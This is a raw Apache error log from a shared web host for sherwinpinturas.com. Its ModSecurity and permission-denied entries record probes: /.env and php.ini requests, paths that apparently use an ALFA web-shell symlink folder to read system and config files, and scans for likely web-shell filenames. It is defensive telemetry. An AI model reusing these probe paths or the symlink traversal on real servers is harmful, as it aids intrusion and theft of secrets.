[Mon Oct 26 16:04:06.542842 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.209:14890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/min_partial
[Mon Oct 26 16:04:22.144426 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.213.202.136:1622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:04:34.390796 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 100.29.63.24:62836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:04:37.090501 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 45.198.224.125:35568] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:04:42.367286 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.211.39.188:51500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:04:50.315676 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.215.235.20:12819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:04:54.202680 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.225.138.57:21739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:06.146414 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.81.253.213:41550] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:10.455452 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.236:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at-ydml9busrkyxI7OQWEwAAAAI"]
[Mon Oct 26 16:05:10.455936 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.236:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at-ydml9busrkyxI7OQWEwAAAAI"]
[Mon Oct 26 16:05:10.456231 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.236:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at-ydml9busrkyxI7OQWEwAAAAI"]
[Mon Oct 26 16:05:14.157566 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.212.219.113:20435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:18.241766 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 44.209.89.189:36497] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_lpss/bind
[Mon Oct 26 16:05:22.137240 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 98.82.59.253:16557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/bind
[Mon Oct 26 16:05:30.313230 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 100.29.160.53:9647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:34.295314 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.44.148.203:12312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:38.173186 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.212.205.90:31739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:05:42.162661 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.208.193.63:42424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:06:06.239021 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 52.21.62.139:46644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 16:06:10.067439 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.166:37914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-ysRjIL9Z3tuLhXUCu7AAAAAc"]
[Mon Oct 26 16:06:10.067677 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.166:37914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-ysRjIL9Z3tuLhXUCu7AAAAAc"]
[Mon Oct 26 16:06:10.068050 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.166:37914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-ysRjIL9Z3tuLhXUCu7AAAAAc"]
[Mon Oct 26 16:06:10.143520 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.205.74.196:8885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:06:18.188981 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.83.240.58:40595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:06:22.521604 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.205:13206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__bug_table
[Mon Oct 26 16:06:46.144056 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.203.68.145:4104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:07:06.388642 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.430111 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.481994 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.521877 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.562858 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.604527 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.685838 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.807684 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.897751 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.947993 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:06.988935 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.033580 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.126572 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.166817 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.207044 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.253295 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.293323 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.334140 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.379112 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.420164 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.463812 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.504584 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.545347 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.597706 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.640451 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.680500 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.720768 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.760942 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.801567 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.874923 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.916056 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.956849 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.997198 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:07.997610 2026] [security2:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/155.php"] [unique_id "at-y680m493Zc8QU76tjPAAAAA0"]
[Mon Oct 26 16:07:07.997632 2026] [security2:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/155.php"] [unique_id "at-y680m493Zc8QU76tjPAAAAA0"]
[Mon Oct 26 16:07:08.046995 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.087470 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.130007 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.171096 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.211791 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.264125 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.305075 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.346262 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.391030 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.431328 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.473979 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.514522 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.555182 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.595909 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.647489 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.649397 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 47.79.13.31:48846] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: http://contacto.sherwinpinturas.com/
[Mon Oct 26 16:07:08.689435 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.730188 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.770928 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.812527 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.853651 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.916336 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:08.957005 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.006928 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.047841 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.088599 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.130231 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.170508 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.214299 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.254731 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.295600 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.336524 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.377387 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.419379 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.460564 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.500743 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.545204 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.585705 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.625788 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.671625 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:09.774671 2026] [security2:error] [pid 3084056:tid 3084056] [client 20.151.218.88:65131] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "at-y7XKvFNFM41eF9IjlgQAAADc"]
[Mon Oct 26 16:07:09.774727 2026] [security2:error] [pid 3084056:tid 3084056] [client 20.151.218.88:65131] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "at-y7XKvFNFM41eF9IjlgQAAADc"]
[Mon Oct 26 16:07:10.055433 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.097446 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.269117 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.157.84.74:56303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:07:10.349149 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.390008 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.438952 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.478990 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.525715 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.566983 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.608580 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.664948 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.705446 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.745722 2026] [proxy_fcgi:error] [pid 3082381:tid 3082381] [client 20.151.218.88:64097] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.851030 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:10.891817 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.019713 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.068051 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.120118 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.120483 2026] [security2:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/zhidagen.php"] [unique_id "at-y72l9busrkyxI7OQWHwAAAAI"]
[Mon Oct 26 16:07:11.120505 2026] [security2:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/zhidagen.php"] [unique_id "at-y72l9busrkyxI7OQWHwAAAAI"]
[Mon Oct 26 16:07:11.160842 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.205959 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.247110 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.287893 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.328987 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.369428 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.450138 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.531786 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.582041 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.582492 2026] [security2:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/wp_blog_foo.php"] [unique_id "at-y72l9busrkyxI7OQWKgAAAAI"]
[Mon Oct 26 16:07:11.582515 2026] [security2:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/wp_blog_foo.php"] [unique_id "at-y72l9busrkyxI7OQWKgAAAAI"]
[Mon Oct 26 16:07:11.623817 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.708593 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.754970 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.796254 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.837384 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.878227 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
